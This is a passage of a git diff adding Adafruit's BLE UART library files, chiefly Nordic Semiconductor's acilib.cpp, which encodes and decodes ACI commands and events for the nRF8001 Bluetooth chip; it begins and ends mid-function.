aci_evt->evt_opcode ) + { + //Got something other than a command response evt -> Error + return ACI_STATUS_ERROR_INTERNAL; + } + + if (!((ACI_STATUS_TRANSACTION_CONTINUE == aci_evt->params.cmd_rsp.cmd_status) || + (ACI_STATUS_TRANSACTION_COMPLETE == aci_evt->params.cmd_rsp.cmd_status))) + { + return (aci_status_code_t )aci_evt->params.cmd_rsp.cmd_status; + } + else + { + //Serial.print(F("Cmd Response Evt ")); + //Serial.println(evt_count); + } + + if (num_cmds == evt_count) + { + break; + } + } + } + + return ((aci_status_code_t)aci_evt->params.cmd_rsp.cmd_status); +} + + +aci_status_code_t do_aci_setup(aci_state_t *aci_stat) +{ + aci_status_code_t status = ACI_STATUS_ERROR_CRC_MISMATCH; + uint8_t i=0; + + if(ACI_QUEUE_SIZE >= aci_stat->aci_setup_info.num_setup_msgs) + { + status = aci_setup(aci_stat, aci_stat->aci_setup_info.num_setup_msgs, 0); + } + else + { + for(i=0; i<(aci_stat->aci_setup_info.num_setup_msgs/ACI_QUEUE_SIZE); i++) + { + //Serial.print(ACI_QUEUE_SIZE, DEC); + //Serial.print(F(" ")); + //Serial.println(0+(ACI_QUEUE_SIZE*i), DEC); + status = aci_setup(aci_stat, ACI_QUEUE_SIZE, (ACI_QUEUE_SIZE*i)); + } + if ((aci_stat->aci_setup_info.num_setup_msgs % ACI_QUEUE_SIZE) != 0) + { + status = aci_setup(aci_stat, aci_stat->aci_setup_info.num_setup_msgs % ACI_QUEUE_SIZE, (ACI_QUEUE_SIZE*i)); + } + } + + return status; +} + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h new file mode 100755 index 0000000..8c9aaa5 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h @@ -0,0 +1,12 @@ +#ifndef H_ACI_SETUP +#define H_ACI_SETUP + +#define ACI_CMD_Q_SIZE 16 + +/** +Do the ACI setup by sending the setup messages generated by the nRFgo studio to the nRF8001. +After all the setup messages are sent. The nRF8001 will send a Device Started Event (Mode = STANDBY) +*/ +aci_status_code_t do_aci_setup(aci_state_t *aci_stat); + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp new file mode 100755 index 0000000..3e702c2 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp @@ -0,0 +1,602 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Implementation of the acilib module. + */ + + +#include "hal_platform.h" +#include "aci.h" +#include "aci_cmds.h" +#include "aci_evts.h" +#include "acilib.h" +#include "aci_protocol_defines.h" +#include "acilib_defs.h" +#include "acilib_if.h" +#include "acilib_types.h" + + +void acil_encode_cmd_set_test_mode(uint8_t *buffer, aci_cmd_params_test_t *p_aci_cmd_params_test) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 2; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_TEST; + *(buffer + OFFSET_ACI_CMD_T_TEST + OFFSET_ACI_CMD_PARAMS_TEST_T_TEST_MODE_CHANGE) = p_aci_cmd_params_test->test_mode_change; +} + +void acil_encode_cmd_sleep(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SLEEP; +} + +void acil_encode_cmd_get_device_version(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_DEVICE_VERSION; +} + +void acil_encode_cmd_set_local_data(uint8_t *buffer, aci_cmd_params_set_local_data_t *p_aci_cmd_params_set_local_data, uint8_t data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_LOCAL_DATA_BASE_LEN + data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_LOCAL_DATA; + *(buffer + OFFSET_ACI_CMD_T_SET_LOCAL_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_set_local_data->tx_data.pipe_number; + memcpy(buffer + OFFSET_ACI_CMD_T_SET_LOCAL_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_ACI_DATA, &(p_aci_cmd_params_set_local_data->tx_data.aci_data[0]), data_size); +} + +void acil_encode_cmd_connect(uint8_t *buffer, aci_cmd_params_connect_t *p_aci_cmd_params_connect) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CONNECT; + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_connect->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_LSB) = (uint8_t)(p_aci_cmd_params_connect->timeout); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_connect->adv_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_connect->adv_interval); +} + +void acil_encode_cmd_bond(uint8_t *buffer, aci_cmd_params_bond_t *p_aci_cmd_params_bond) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BOND_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BOND; + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_bond->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_LSB) = (uint8_t)(p_aci_cmd_params_bond->timeout); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_bond->adv_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_bond->adv_interval); +} + +void acil_encode_cmd_disconnect(uint8_t *buffer, aci_cmd_params_disconnect_t *p_aci_cmd_params_disconnect) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DISCONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_DISCONNECT; + *(buffer + OFFSET_ACI_CMD_T_DISCONNECT + OFFSET_ACI_CMD_PARAMS_DISCONNECT_T_REASON) = (uint8_t)(p_aci_cmd_params_disconnect->reason); +} + +void acil_encode_baseband_reset(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BASEBAND_RESET_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_RADIO_RESET; +} + +void acil_encode_direct_connect(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DIRECT_CONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CONNECT_DIRECT; +} + +void acil_encode_cmd_wakeup(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_WAKEUP_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_WAKEUP; +} + +void acil_encode_cmd_set_radio_tx_power(uint8_t *buffer, aci_cmd_params_set_tx_power_t *p_aci_cmd_params_set_tx_power) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_RADIO_TX_POWER_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_TX_POWER; + *(buffer + OFFSET_ACI_CMD_T_SET_TX_POWER + OFFSET_ACI_CMD_PARAMS_SET_TX_POWER_T_DEVICE_POWER) = (uint8_t)p_aci_cmd_params_set_tx_power->device_power; +} + +void acil_encode_cmd_get_address(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_GET_DEVICE_ADDR_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_DEVICE_ADDRESS; +} + +void acil_encode_cmd_send_data(uint8_t *buffer, aci_cmd_params_send_data_t *p_aci_cmd_params_send_data_t, uint8_t data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SEND_DATA_BASE_LEN + data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_send_data_t->tx_data.pipe_number; + memcpy((buffer + OFFSET_ACI_CMD_T_SEND_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_ACI_DATA), &(p_aci_cmd_params_send_data_t->tx_data.aci_data[0]), data_size); +} + +void acil_encode_cmd_request_data(uint8_t *buffer, aci_cmd_params_request_data_t *p_aci_cmd_params_request_data) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DATA_REQUEST_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_REQUEST_DATA; + *(buffer + OFFSET_ACI_CMD_T_REQUEST_DATA + OFFSET_ACI_CMD_PARAMS_REQUEST_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_request_data->pipe_number; +} + +void acil_encode_cmd_open_remote_pipe(uint8_t *buffer, aci_cmd_params_open_remote_pipe_t *p_aci_cmd_params_open_remote_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_OPEN_REMOTE_PIPE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_OPEN_REMOTE_PIPE; + *(buffer + OFFSET_ACI_CMD_T_OPEN_REMOTE_PIPE + OFFSET_ACI_CMD_PARAMS_OPEN_REMOTE_PIPE_T_PIPE_NUMBER) = p_aci_cmd_params_open_remote_pipe->pipe_number; +} + +void acil_encode_cmd_close_remote_pipe(uint8_t *buffer, aci_cmd_params_close_remote_pipe_t *p_aci_cmd_params_close_remote_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CLOSE_REMOTE_PIPE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CLOSE_REMOTE_PIPE; + *(buffer + OFFSET_ACI_CMD_T_CLOSE_REMOTE_PIPE + OFFSET_ACI_CMD_PARAMS_CLOSE_REMOTE_PIPE_T_PIPE_NUMBER) = p_aci_cmd_params_close_remote_pipe->pipe_number; +} + +void acil_encode_cmd_echo_msg(uint8_t *buffer, aci_cmd_params_echo_t *p_cmd_params_echo, uint8_t msg_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_ECHO_MSG_CMD_BASE_LEN + msg_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_ECHO; + memcpy((buffer + OFFSET_ACI_CMD_T_ECHO + OFFSET_ACI_CMD_PARAMS_ECHO_T_ECHO_DATA), &(p_cmd_params_echo->echo_data[0]), msg_size); +} + +void acil_encode_cmd_battery_level(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_BATTERY_LEVEL; +} + +void acil_encode_cmd_temparature(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_TEMPERATURE; +} + +void acil_encode_cmd_read_dynamic_data(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_READ_DYNAMIC_DATA; +} + +void acil_encode_cmd_write_dynamic_data(uint8_t *buffer, uint8_t seq_no, uint8_t* dynamic_data, uint8_t dynamic_data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_WRITE_DYNAMIC_DATA_BASE_LEN + dynamic_data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_WRITE_DYNAMIC_DATA; + *(buffer + OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_SEQ_NO) = seq_no; + memcpy((buffer + OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA), dynamic_data, dynamic_data_size); +} + +void acil_encode_cmd_change_timing_req(uint8_t *buffer, aci_cmd_params_change_timing_t *p_aci_cmd_params_change_timing) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CHANGE_TIMING_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CHANGE_TIMING; + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.min_conn_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.min_conn_interval); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.max_conn_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.max_conn_interval); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_MSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.slave_latency >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_LSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.slave_latency); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_MSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.timeout_mult >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_LSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.timeout_mult); +} + +void acil_encode_cmd_set_app_latency(uint8_t *buffer, aci_cmd_params_set_app_latency_t *p_aci_cmd_params_set_app_latency) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_APP_LATENCY_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_APP_LATENCY; + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_MODE) = (uint8_t)( p_aci_cmd_params_set_app_latency->mode); + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_MSB) = (uint8_t)( p_aci_cmd_params_set_app_latency->latency>>8); + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_LSB) = (uint8_t)( p_aci_cmd_params_set_app_latency->latency); +} + +void acil_encode_cmd_change_timing_req_GAP_PPCP(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CHANGE_TIMING_LEN_GAP_PPCP; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CHANGE_TIMING; +} + + +void acil_encode_cmd_setup(uint8_t *buffer, aci_cmd_params_setup_t *p_aci_cmd_params_setup, uint8_t setup_data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = setup_data_size + MSG_SETUP_CMD_BASE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SETUP; + memcpy((buffer + OFFSET_ACI_CMD_T_SETUP), &(p_aci_cmd_params_setup->setup_data[0]), setup_data_size); +} + +void acil_encode_cmd_dtm_cmd(uint8_t *buffer, aci_cmd_params_dtm_cmd_t *p_aci_cmd_params_dtm_cmd) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DTM_CMD; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_DTM_CMD; + *(buffer + OFFSET_ACI_CMD_T_DTM_CMD) = p_aci_cmd_params_dtm_cmd->cmd_msb; + *(buffer + OFFSET_ACI_CMD_T_DTM_CMD + 1) = p_aci_cmd_params_dtm_cmd->cmd_lsb; +} + +void acil_encode_cmd_send_data_ack(uint8_t *buffer, const uint8_t pipe_number ) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_ACK_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA_ACK; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_ACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_ACK_T_PIPE_NUMBER) = pipe_number; +} + +void acil_encode_cmd_send_data_nack(uint8_t *buffer, const uint8_t pipe_number, const uint8_t err_code ) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_NACK_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA_NACK; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_NACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_PIPE_NUMBER) = pipe_number; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_NACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_ERROR_CODE) = err_code; +} + +void acil_encode_cmd_bond_security_request(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BOND_SECURITY_REQUEST; +} + +void acil_encode_cmd_broadcast(uint8_t *buffer, aci_cmd_params_broadcast_t * p_aci_cmd_params_broadcast) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BROADCAST_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BROADCAST; + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_LSB) = (p_aci_cmd_params_broadcast->timeout & 0xff); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_broadcast->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_LSB) = (p_aci_cmd_params_broadcast->adv_interval & 0xff); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_broadcast->adv_interval >> 8); +} + +void acil_encode_cmd_open_adv_pipes(uint8_t *buffer, aci_cmd_params_open_adv_pipe_t * p_aci_cmd_params_open_adv_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_OPEN_ADV_PIPES_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_OPEN_ADV_PIPE; + memcpy(buffer + OFFSET_ACI_CMD_T_OPEN_ADV_PIPE + OFFSET_ACI_CMD_PARAMS_OPEN_ADV_PIPE_T_PIPES, p_aci_cmd_params_open_adv_pipe->pipes, 8); +} + + +void acil_encode_cmd_set_key(uint8_t *buffer, aci_cmd_params_set_key_t *p_aci_cmd_params_set_key) +{ + /* + The length of the key is computed based on the type of key transaction. + - Key Reject + - Key type is passkey + */ + uint8_t len; + + switch (p_aci_cmd_params_set_key->key_type) + { + case ACI_KEY_TYPE_INVALID: + len = MSG_SET_KEY_REJECT_LEN; + break; + case ACI_KEY_TYPE_PASSKEY: + len = MSG_SET_KEY_PASSKEY_LEN; + break; + default: + len=0; + break; + } + *(buffer + OFFSET_ACI_CMD_T_LEN) = len; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_KEY; + *(buffer + OFFSET_ACI_CMD_T_SET_KEY + OFFSET_ACI_CMD_PARAMS_SET_KEY_T_KEY_TYPE) = p_aci_cmd_params_set_key->key_type; + memcpy((buffer + OFFSET_ACI_CMD_T_SET_KEY + OFFSET_ACI_CMD_PARAMS_SET_KEY_T_PASSKEY), (uint8_t * )&(p_aci_cmd_params_set_key->key), len-2);//Reducing 2 for the opcode byte and type +} + +bool acil_encode_cmd(uint8_t *buffer, aci_cmd_t *p_aci_cmd) +{ + bool ret_val = false; + + switch(p_aci_cmd->cmd_opcode) + { + case ACI_CMD_TEST: + acil_encode_cmd_set_test_mode(buffer, &(p_aci_cmd->params.test)); + break; + case ACI_CMD_SLEEP: + acil_encode_cmd_sleep(buffer); + break; + case ACI_CMD_GET_DEVICE_VERSION: + acil_encode_cmd_get_device_version(buffer); + break; + case ACI_CMD_WAKEUP: + acil_encode_cmd_wakeup(buffer); + break; + case ACI_CMD_ECHO: + acil_encode_cmd_echo_msg(buffer, &(p_aci_cmd->params.echo), (p_aci_cmd->len - MSG_ECHO_MSG_CMD_BASE_LEN)); + break; + case ACI_CMD_GET_BATTERY_LEVEL: + acil_encode_cmd_battery_level(buffer); + break; + case ACI_CMD_GET_TEMPERATURE: + acil_encode_cmd_temparature(buffer); + break; + case ACI_CMD_GET_DEVICE_ADDRESS: + acil_encode_cmd_get_address(buffer); + break; + case ACI_CMD_SET_TX_POWER: + acil_encode_cmd_set_radio_tx_power(buffer, &(p_aci_cmd->params.set_tx_power)); + break; + case ACI_CMD_CONNECT: + acil_encode_cmd_connect(buffer, &(p_aci_cmd->params.connect)); + break; + case ACI_CMD_BOND: + acil_encode_cmd_bond(buffer, &(p_aci_cmd->params.bond)); + break; + case ACI_CMD_DISCONNECT: + acil_encode_cmd_disconnect(buffer, &(p_aci_cmd->params.disconnect)); + break; + case ACI_CMD_RADIO_RESET: + acil_encode_baseband_reset(buffer); + break; + case ACI_CMD_CHANGE_TIMING: + acil_encode_cmd_change_timing_req(buffer, &(p_aci_cmd->params.change_timing)); + break; + case ACI_CMD_SETUP: + acil_encode_cmd_setup(buffer, &(p_aci_cmd->params.setup), (p_aci_cmd->len - MSG_SETUP_CMD_BASE_LEN)); + break; + case ACI_CMD_DTM_CMD: + acil_encode_cmd_dtm_cmd(buffer, &(p_aci_cmd->params.dtm_cmd)); + break; + case ACI_CMD_READ_DYNAMIC_DATA: + acil_encode_cmd_read_dynamic_data(buffer); + break; + case ACI_CMD_WRITE_DYNAMIC_DATA: + acil_encode_cmd_write_dynamic_data(buffer, p_aci_cmd->params.write_dynamic_data.seq_no, &(p_aci_cmd->params.write_dynamic_data.dynamic_data[0]), (p_aci_cmd->len - MSG_WRITE_DYNAMIC_DATA_BASE_LEN)); + break; + case ACI_CMD_OPEN_REMOTE_PIPE: + acil_encode_cmd_open_remote_pipe(buffer, &(p_aci_cmd->params.open_remote_pipe)); + break; + case ACI_CMD_SEND_DATA: + acil_encode_cmd_send_data(buffer, &(p_aci_cmd->params.send_data), (p_aci_cmd->len - MSG_SEND_DATA_BASE_LEN)); + break; + case ACI_CMD_SEND_DATA_ACK: + acil_encode_cmd_send_data_ack(buffer, p_aci_cmd->params.send_data_ack.pipe_number ); + break; + case ACI_CMD_REQUEST_DATA: + acil_encode_cmd_request_data(buffer, &(p_aci_cmd->params.request_data)); + break; + case ACI_CMD_SET_LOCAL_DATA: + acil_encode_cmd_set_local_data(buffer, (aci_cmd_params_set_local_data_t *)(&(p_aci_cmd->params.send_data)), (p_aci_cmd->len - MSG_SET_LOCAL_DATA_BASE_LEN)); + break; + case ACI_CMD_BOND_SECURITY_REQUEST: + acil_encode_cmd_bond_security_request(buffer); + break; + default: + break; + } + return ret_val; +} + +void acil_decode_evt_command_response(uint8_t *buffer_in, aci_evt_params_cmd_rsp_t *p_evt_params_cmd_rsp) +{ + aci_evt_cmd_rsp_params_get_device_version_t *p_device_version; + aci_evt_cmd_rsp_params_get_device_address_t *p_device_address; + aci_evt_cmd_rsp_params_get_temperature_t *p_temperature; + aci_evt_cmd_rsp_params_get_battery_level_t *p_batt_lvl; + aci_evt_cmd_rsp_read_dynamic_data_t *p_read_dyn_data; + aci_evt_cmd_rsp_params_dtm_cmd_t *p_dtm_evt; + + p_evt_params_cmd_rsp->cmd_opcode = (aci_cmd_opcode_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_OPCODE); + p_evt_params_cmd_rsp->cmd_status = (aci_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_STATUS); + + switch (p_evt_params_cmd_rsp->cmd_opcode) + { + case ACI_CMD_GET_DEVICE_VERSION: + p_device_version = &(p_evt_params_cmd_rsp->params.get_device_version); + p_device_version->configuration_id = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_LSB); + p_device_version->configuration_id |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_MSB) << 8; + p_device_version->aci_version = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_ACI_VERSION); + p_device_version->setup_format = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_FORMAT); + p_device_version->setup_id = (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB0); + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB1) << 8; + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + 